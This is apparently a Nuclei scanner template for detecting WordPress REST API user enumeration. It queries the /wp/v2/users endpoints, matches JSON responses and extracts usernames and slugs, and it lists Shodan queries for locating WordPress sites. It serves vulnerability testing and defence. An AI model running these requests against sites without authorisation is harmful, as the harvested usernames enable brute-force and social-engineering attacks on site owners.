Description
The REST API exposed user data for all users who had authored a post of a public post type. WordPress 4.7.1 limits this to only post types which have specified that they should be shown within the REST API.
The REST API exposed user data for all users who had authored a post of a public post type. WordPress 4.7.1 limits this to only post types which have specified that they should be shown within the REST API.
id: wp-user-enum
info:
name: WordPress REST API User Enumeration
author: Manas_Harsh,daffainfo,geeknik,dr0pd34d
severity: low
description: |
The REST API exposed user data for all users who had authored a post of a public post type. WordPress 4.7.1 limits this to only post types which have specified that they should be shown within the REST API.
impact: |
An attacker can easily determine valid usernames, which can lead to targeted attacks such as brute force attacks or social engineering.
remediation: |
Install a WordPress plugin such as Stop User Enumeration. Stop User Enumeration is a security plugin designed to detect and prevent hackers scanning your site for user names.
reference:
- https://www.acunetix.com/vulnerabilities/web/wordpress-rest-api-user-enumeration/
- https://wordpress.org/plugins/stop-user-enumeration/
- https://www.afteractive.com/wordpress-user-enumeration-vulnerability/
classification:
cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: wordpress
product: wordpress
shodan-query:
- http.component:"WordPress"
- http.component:"wordpress"
- cpe:"cpe:2.3:a:wordpress:wordpress"
tags: cve2017,cve,wordpress,wp,edb,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/wp/v2/users/"
- "{{BaseURL}}/?rest_route=/wp/v2/users/"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"id":'
- '"name":'
- '"slug":'
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
extractors:
- type: json
name: "usernames"
json:
- '.[] | .slug'
- '.[].name'
part: body
# digest: 4a0a0047304502203d2fe66d48262a3c6ce29d12bc9dc6503b051b5628726b610b4c4676d786e094022100d4eb296c423c2dcdeb7951dc149c42dc866ecc873b1ff4986ab3be8fbc0be2ed:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.